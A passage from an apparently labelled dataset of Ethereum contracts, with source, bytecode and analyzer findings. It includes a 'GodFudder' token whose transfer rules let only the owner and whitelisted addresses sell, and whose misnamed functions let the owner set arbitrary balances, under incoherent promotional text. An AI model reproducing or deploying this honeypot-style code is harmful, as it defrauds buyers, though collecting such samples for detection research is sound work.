2528060200260200182016040528015610d08578160200160208202803883390190505b50925060009150600090505b600354811015610dc55760008581526001602052604081206003805491929184908110610d3d57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610dbd576003805482908110610d7857fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d9e57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610d14565b81604051908082528060200260200182016040528015610def578160200160208202803883390190505b509350600090505b81811015610e44578281815181101515610e0d57fe5b906020019060200201518482815181101515610e2557fe5b600160a060020a03909216602092830290910190910152600101610df7565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610e7257600080fd5b6003548160328211801590610e875750818111155b8015610e9257508015155b8015610e9d57508115155b1515610ea857600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610f0d57600080fd5b6000828152602081905260409020548290600160a060020a03161515610f3257600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610f6657600080fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610fc585611194565b5050505050565b6000610fd9848484611367565b9050610fe481610ee5565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561101857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561104157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561106957600080fd5b600092505b6003548310156110fa5784600160a060020a031660038481548110151561109157fe5b600091825260209091200154600160a060020a031614156110ef57836003848154811015156110bc57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055506110fa565b60019092019161106e565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff1615156111bf57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615156111f457600080fd5b600085815260208190526040902060030154859060ff161561121557600080fd5b61121e86610986565b1561135f576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a506112f295600160a060020a03909216949093919083908301828280156112e85780601f106112bd576101008083540402835291602001916112e8565b820191906000526020600020905b8154815290600101906020018083116112cb57829003601f168201915b5050505050611457565b156113275760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261135f565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a038116151561137f57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926113ff9260028501929101906114a3565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b81548183558181111561149e5760008381526020902061149e918101908301611521565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114e457805160ff1916838001178555611511565b82800160010185558215611511579182015b828111156115115782518255916020019190600101906114f6565b5061151d929150611521565b5090565b610b9791905b8082111561151d57600081556001016115275600a165627a7a72305820f205ae6ea1a6303bd939e5cd0669f63c2c692a8cb02009d5be75a025df47c2c90029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,385
0x95a43d06d9347f94203b93945c633529b8df7d35
/* GodFudder is Crypto-Democracy GodFudder is a technology and governance framework that allows anyone to meaningfully contribute to the ecosystem. The GodFudder engine powers native, on-chain, totally decentralized P2P transactions with no intermediaries. The GodFudder blockchain is secured by a hybrid proof-of-work miners and proof-of-stake system. GODFUDDER rewards consumers for the use of their data. GODFUDDER rewards consumers every time they opt-in to request a home service professional via GODFUDDER. Whether you need an electrician, plumber or real estate agent - GODFUDDER pays you. WHAT IS GODFUDDER? How it Works Consumers register their property onto the network and provide information that would be valuable to advertisers including intentions to sell their property, repair or remodel their property or purchase other home services. Once the data is updated by the owner, advertisers are able to access the data using GODFUDDER Coin. The GODFUDDER Coin is the payment for the use of data and transferred to the Consumers. We’ve built a platform for Consumers to earn tokens for use of their data. Consumers purchase billions of dollars in home services and products every year. The intention data is valuable and currently not available to advertisers. Consumers earn tokens every time an advertiser accesses their property data. Advertisers get access to real actionable data directly from the Consumers who has a relevant need for home services. GodFudder Coin provides a transparent and fair way to price the value of the property data. WHY IS GODFUDDER BETTER? The Value of GodFudder The current control of data is monopolized by multi-billion dollar corporates that aggregate and sell property and personal data without receiving permission or compensating Consumers. Accurate The property data that is registered on the network comes directly from the Consumers or authorized agent. Rewards The Consumers receives rewards as GodFudder Coin every time their data is accessed and used by an advertiser. Easy to Access The property data is easy for advertisers to access and license. All uses of data is tracked and transparent to the Consumers. Transparency Anytime an advertiser accesses property data, the Consumers can view the usage and their rewards. Fair Pricing The pricing of the property data to the advertiser is based on market demand and is set by GodFudder Coin value. Several Profit Property Income Consumers can generate new passive income through the licensing of their data GODFUD Tunnel Each crypto asset has its own decentralized and bi-directional cross-chain "tunnel" controlled by the DAO. When users use these tunnels move their non-ERC20 tokens (such as BTC and LTC) cross chain, they are rewarded with $GODFUD tokens. Tunnel Mechanisms Tunnel Features All tunnels are operated by the DAO New tunnels can be freely created via “pledging” and a governance vote. 70% of minting fees are allocated to tunnel operators Total value of pledged tokens is proportional to the maximum "wrapping" limit of each tunnel. Triple Pledge Model Each wrapped token (oToken) is backed by 100% + additional assets for extra security. Asset Layer: 100% original crypto assets Contract Layer: 25% - 150% over-collateralization using $ETH, $GODFUD, $DAI and more. Application Layer: Decentralized insurance platforms DAO Governance Driven by the DAO, protected by the community Multi-Signers Vote for new asset multi-signers. Minting Revise the system parameters such as minting fee, rewards or asset ratio. GODFUD Farm The community can propose more Yield-Farming Pools through a vote. Tunnel Propose new assets tunnels. Insurance Choose GODFUDDAO's insurance. Treasury Manage GODFUDDAO's treasury. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract GodFudder { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158203511716b884454804e9c30d85a18d4aef43e5fe7cbd0eaa6a1923aff2ba9819264736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,386
0x0Ea28D1cE1198B4Af8a84E5c08c94A907F34AdCE
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function owner() external view returns (address); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IShibaSwapPoolNames { function logos(uint256) external view returns(string memory); function names(uint256) external view returns(string memory); function setPoolInfo(uint256 pid, string memory logo, string memory name) external; } interface IBoneToken is IERC20{ function delegates(address who) external view returns(address); function getCurrentVotes(address who) external view returns(uint256); function nonces(address who) external view returns(uint256); } interface ITopDog { function BONUS_MULTIPLIER() external view returns (uint256); function bonusEndBlock() external view returns (uint256); function devaddr() external view returns (address); function migrator() external view returns (address); function owner() external view returns (address); function startBlock() external view returns (uint256); function bone() external view returns (address); function bonePerBlock() external view returns (uint256); function totalAllocPoint() external view returns (uint256); function poolLength() external view returns (uint256); function poolInfo(uint256 nr) external view returns (address, uint256, uint256, uint256); function userInfo(uint256 nr, address who) external view returns (uint256, uint256); function pendingBone(uint256 nr, address who) external view returns (uint256); } interface IFactory { function allPairsLength() external view returns (uint256); function allPairs(uint256 i) external view returns (address); function getPair(address token0, address token1) external view returns (address); function feeTo() external view returns (address); function feeToSetter() external view returns (address); } interface IPair is IERC20 { function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112, uint112, uint32); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = msg.sender; owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } } contract BoringCryptoTokenScanner { using SafeMath for uint256; struct Balance { address token; uint256 balance; } struct BalanceFull { address token; uint256 balance; uint256 rate; } struct TokenInfo { address token; uint256 decimals; string name; string symbol; } function getTokenInfo(address[] calldata addresses) public view returns(TokenInfo[] memory) { TokenInfo[] memory infos = new TokenInfo[](addresses.length); for (uint256 i = 0; i < addresses.length; i++) { IERC20 token = IERC20(addresses[i]); infos[i].token = address(token); infos[i].name = token.name(); infos[i].symbol = token.symbol(); infos[i].decimals = token.decimals(); } return infos; } function findBalances(address who, address[] calldata addresses) public view returns(Balance[] memory) { uint256 balanceCount; for (uint256 i = 0; i < addresses.length; i++) { if (IERC20(addresses[i]).balanceOf(who) > 0) { balanceCount++; } } Balance[] memory balances = new Balance[](balanceCount); balanceCount = 0; for (uint256 i = 0; i < addresses.length; i++) { IERC20 token = IERC20(addresses[i]); uint256 balance = token.balanceOf(who); if (balance > 0) { balances[balanceCount].token = address(token); balances[balanceCount].balance = token.balanceOf(who); balanceCount++; } } return balances; } function getBalances(address who, address[] calldata addresses, IFactory factory, address currency) public view returns(BalanceFull[] memory) { BalanceFull[] memory balances = new BalanceFull[](addresses.length); for (uint256 i = 0; i < addresses.length; i++) { IERC20 token = IERC20(addresses[i]); balances[i].token = address(token); balances[i].balance = token.balanceOf(who); IPair pair = IPair(factory.getPair(addresses[i], currency)); if(address(pair) != address(0)) { uint256 reserveCurrency; uint256 reserveToken; if (pair.token0() == currency) { (reserveCurrency, reserveToken,) = pair.getReserves(); } else { (reserveToken, reserveCurrency,) = pair.getReserves(); } balances[i].rate = reserveToken * 1e18 / reserveCurrency; } } return balances; } struct Factory { IFactory factory; uint256 allPairsLength; address feeTo; address feeToSetter; } function getFactoryInfo(IFactory[] calldata addresses) public view returns(Factory[] memory) { Factory[] memory factories = new Factory[](addresses.length); for (uint256 i = 0; i < addresses.length; i++) { IFactory factory = addresses[i]; factories[i].factory = factory; factories[i].allPairsLength = factory.allPairsLength(); factories[i].feeTo = factory.feeTo(); factories[i].feeToSetter = factory.feeToSetter(); } return factories; } struct Pair { address token; address token0; address token1; } function getPairs(IFactory factory, uint256 fromID, uint256 toID) public view returns(Pair[] memory) { if (toID == 0){ toID = factory.allPairsLength(); } Pair[] memory pairs = new Pair[](toID - fromID); for(uint256 id = fromID; id < toID; id++) { address token = factory.allPairs(id); uint256 i = id - fromID; pairs[i].token = token; pairs[i].token0 = IPair(token).token0(); pairs[i].token1 = IPair(token).token1(); } return pairs; } function findPairs(address who, IFactory factory, uint256 fromID, uint256 toID) public view returns(Pair[] memory) { if (toID == 0){ toID = factory.allPairsLength(); } uint256 pairCount; for(uint256 id = fromID; id < toID; id++) { address token = factory.allPairs(id); if (IERC20(token).balanceOf(who) > 0) { pairCount++; } } Pair[] memory pairs = new Pair[](pairCount); pairCount = 0; for(uint256 id = fromID; id < toID; id++) { address token = factory.allPairs(id); uint256 balance = IERC20(token).balanceOf(who); if (balance > 0) { pairs[pairCount].token = token; pairs[pairCount].token0 = IPair(token).token0(); pairs[pairCount].token1 = IPair(token).token1(); pairCount++; } } return pairs; } struct PairFull { address token; address token0; address token1; uint256 reserve0; uint256 reserve1; uint256 totalSupply; uint256 balance; } function getPairsFull(address who, address[] calldata addresses) public view returns(PairFull[] memory) { PairFull[] memory pairs = new PairFull[](addresses.length); for (uint256 i = 0; i < addresses.length; i++) { address token = addresses[i]; pairs[i].token = token; pairs[i].token0 = IPair(token).token0(); pairs[i].token1 = IPair(token).token1(); (uint256 reserve0, uint256 reserve1,) = IPair(token).getReserves(); pairs[i].reserve0 = reserve0; pairs[i].reserve1 = reserve1; pairs[i].balance = IERC20(token).balanceOf(who); pairs[i].totalSupply = IERC20(token).totalSupply(); } return pairs; } } contract BoringCryptoDashboardV2 { using SafeMath for uint256; ITopDog topdog; address uniFactory; address sushiFactory; address shibaFactory; address weth; constructor( address _topdog, address _uniFactory, address _sushiFactory, address _shibaFactory, address _weth ) public { topdog = ITopDog(_topdog); uniFactory = _uniFactory; sushiFactory = _sushiFactory; shibaFactory = _shibaFactory; weth = _weth; } struct PairFull { address token; address token0; address token1; uint256 reserve0; uint256 reserve1; uint256 totalSupply; uint256 balance; } function getPairsFull(address who, address[] calldata addresses) public view returns(PairFull[] memory) { PairFull[] memory pairs = new PairFull[](addresses.length); for (uint256 i = 0; i < addresses.length; i++) { address token = addresses[i]; pairs[i].token = token; pairs[i].token0 = IPair(token).token0(); pairs[i].token1 = IPair(token).token1(); (uint256 reserve0, uint256 reserve1,) = IPair(token).getReserves(); pairs[i].reserve0 = reserve0; pairs[i].reserve1 = reserve1; pairs[i].balance = IERC20(token).balanceOf(who); pairs[i].totalSupply = IERC20(token).totalSupply(); } return pairs; } struct PoolsInfo { uint256 totalAllocPoint; uint256 poolLength; } struct PoolInfo { uint256 pid; IPair lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SUSHIs to distribute per block. address token0; address token1; } function getPools(uint256[] calldata pids) public view returns(PoolsInfo memory, PoolInfo[] memory) { PoolsInfo memory info; info.totalAllocPoint = topdog.totalAllocPoint(); uint256 poolLength = topdog.poolLength(); info.poolLength = poolLength; PoolInfo[] memory pools = new PoolInfo[](pids.length); for (uint256 i = 0; i < pids.length; i++) { pools[i].pid = pids[i]; (address lpToken, uint256 allocPoint,,) = topdog.poolInfo(pids[i]); IPair uniV2 = IPair(lpToken); pools[i].lpToken = uniV2; pools[i].allocPoint = allocPoint; pools[i].token0 = uniV2.token0(); pools[i].token1 = uniV2.token1(); } return (info, pools); } function findPools(address who, uint256[] calldata pids) public view returns(PoolInfo[] memory) { uint256 count; for (uint256 i = 0; i < pids.length; i++) { (uint256 balance,) = topdog.userInfo(pids[i], who); if (balance > 0) { count++; } } PoolInfo[] memory pools = new PoolInfo[](count); count = 0; for (uint256 i = 0; i < pids.length; i++) { (uint256 balance,) = topdog.userInfo(pids[i], who); if (balance > 0) { pools[count].pid = pids[i]; (address lpToken, uint256 allocPoint,,) = topdog.poolInfo(pids[i]); IPair uniV2 = IPair(lpToken); pools[count].lpToken = uniV2; pools[count].allocPoint = allocPoint; pools[count].token0 = uniV2.token0(); pools[count].token1 = uniV2.token1(); count++; } } return pools; } function getETHRate(address token) public view returns(uint256) { uint256 eth_rate = 1e18; if (token != weth) { IPair pairUniV2; IPair pairSushi; IPair pairShiba; pairUniV2 = IPair(IFactory(uniFactory).getPair(token, weth)); pairSushi = IPair(IFactory(sushiFactory).getPair(token, weth)); pairShiba = IPair(IFactory(shibaFactory).getPair(token, weth)); if (address(pairUniV2) == address(0) && address(pairSushi) == address(0) && address(pairShiba) == address(0)) { return 0; } uint112 reserve0UniV2; uint112 reserve1UniV2; uint112 reserve0Sushi; uint112 reserve1Sushi; uint112 reserve0Shiba; uint112 reserve1Shiba; if (address(pairUniV2) != address(0)) { (reserve0UniV2, reserve1UniV2,) = pairUniV2.getReserves(); } if (address(pairSushi) != address(0)) { (reserve0Sushi, reserve1Sushi,) = pairSushi.getReserves(); } if (address(pairShiba) != address(0)) { (reserve0Shiba, reserve1Shiba,) = pairShiba.getReserves(); } if (address(pairShiba) == address(0) || reserve0UniV2 > reserve0Shiba || reserve1UniV2 > reserve1Shiba) { // return uni rate if (pairUniV2.token0() == weth) { eth_rate = uint256(reserve1UniV2).mul(1e18).div(reserve0UniV2); } else { eth_rate = 